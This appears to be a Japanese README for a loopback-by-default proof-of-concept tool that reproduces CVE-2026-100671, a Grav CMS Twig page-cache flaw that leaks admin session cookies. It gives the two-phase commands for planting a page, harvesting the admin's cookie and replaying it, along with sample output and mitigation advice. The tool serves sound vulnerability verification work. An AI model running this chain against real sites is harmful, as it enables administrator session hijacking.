
CVE-2026-100671 のローカル専用概念実証検証ツール。ループバックターゲットに対して Grav Twig ページキャッシュのセッション Cookie 漏洩とリプレイを再現します。
Grav 2.0.25 で修正された Grav の content-Twig/ページキャッシュによるセッション乗っ取りに対する、最小限で対象を限定した攻撃者側の検証ツール。
アドバイザリ:
攻撃者は管理者のユーザー名やパスワードを持っていません。
実際の攻撃チェーンは次のとおりです:
管理者の操作はこのスクリプトの外部で行われます。exploit.py は
GRAV_ADMIN_USERNAME や GRAV_ADMIN_PASSWORD の設定を受け付けません。
ループバックがデフォルトの安全境界です。非ループバックの対象には明示的な
--allow-remote フラグが必要で、これは許可された HTB、TryHackMe、または
自身が所有するラボマシンを対象としています。
クライアントは、選択した対象オリジン上に留まる場合にのみリダイレクトを追跡し、
Python 標準ライブラリの HTTP クライアントを使用し、リクエストタイムアウトを適用し、
--show-cookie が明示的に指定された場合にのみ取得した Cookie を出力します。
自身が所有するか、明示的にテストを許可された Grav インスタンスに対してのみ使用してください。 このスクリプトは公開の証明ページを作成します。対象が実行間でコンテンツを保持する場合は、 テスト後にそのページを削除してください。
get_cookie() が訪問中の管理者のセッション Cookie をサーバー側で読み取る。ページ書き込みアカウントに必要なのは低権限の書き込み経路のみです。
api.pages.read、admin.*、スーパー管理者アクセス、管理者資格情報は必要ありません。
2.0.19 から 2.0.24: 出荷時のデフォルトの content-Twig
設定で脆弱。2.0.0 から 2.0.18、および 1.7.x: content Twig が明示的に
有効化されている場合にのみ影響。2.0.25: 修正済み。以下の条件で Grav ターゲットを実行します:
この 2 ファイルのリポジトリは、Grav、PHP、プラグイン、アカウント、 管理者ボットをプロビジョニングしません。被害者の訪問は外部の操作のままです。
低権限の書き込み資格情報またはトークンのみを設定します:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
スクリプトはランダムな公開ルートを作成し、そのURLを表示して待機します。管理者にそのURLを一度訪問してもらい、その後Enterキーを押してください。スクリプトは匿名収集とローカルAPIリプレイを実行します。
代わりに既存のライターAPIトークンを使用する場合:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
非対話型ターミナルや別の被害者ブラウザで役立ちます。
ページを準備します:
python3 exploit.py --prepare-only
管理者に印刷された URL にアクセスしてもらいます。その後、印刷されたルートを使用して収集とリプレイを行います。この第 2 フェーズでは認証情報は不要です:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie は、ローカル/認可されたラボでのデバッグ用に、キャプチャしたセッション Cookie を出力します:
captured_cookie=grav-site-<hash>=<session-value>
その値は有効な認証情報です。GitHub、issue、チャット、スクリーンショット、ログに貼り付けないでください。--show-cookie を指定しない場合、スクリプトは値を出力に含めずに、リプレイのステータスを通じて同じ影響を証明します。
管理者の訪問より前に収集が実行されると、攻撃者のリクエストが空の値でキャッシュを埋めてしまう可能性があります。新しいランダムなルートを用意して繰り返してください。
リポジトリにマシンの IP をハードコードしないでください。実行時に現在のターゲットを指定します:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
管理者/ボットが出力されたURLにアクセスした後、以下を収集してリプレイします:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url は --target の互換エイリアスとして残ります。リモート HTTP では平文の警告が表示されます。マシンが対応している場合は HTTPS を使用してください。
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
captured_cookie 行は --show-cookie を指定した場合にのみ表示されます。
Grav 2.0.25 以降に対して同じ2フェーズのフローを実行し、その後次のコマンドで収集します:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
期待される修正後の挙動: 攻撃者から見えるセッション値が存在せず、セッションリプレイも成功しないこと。修正済みのクリーンな結果は --expect fixed を付けると 0 で終了します。
Grav 2.0.25 以降にアップグレードしてください。古いデプロイメントでは、アドバイザリに以下の一時的な制御策が記載されています:
security.twig_content.process_enabled: false でコンテンツ Twig を無効化する、またはsystem.pages.never_cache_twig: true を設定する;HttpOnly、Secure、SameSite を修正策として扱わないでください: 脆弱な Cookie の読み取りは Twig レンダリング中にサーバー側で発生します。
canhieu により報告されました。このリポジトリは、すでに公開されているアドバイザリの再現性を支援するものであり、リモートスキャナや認証情報を収集するツールではありません。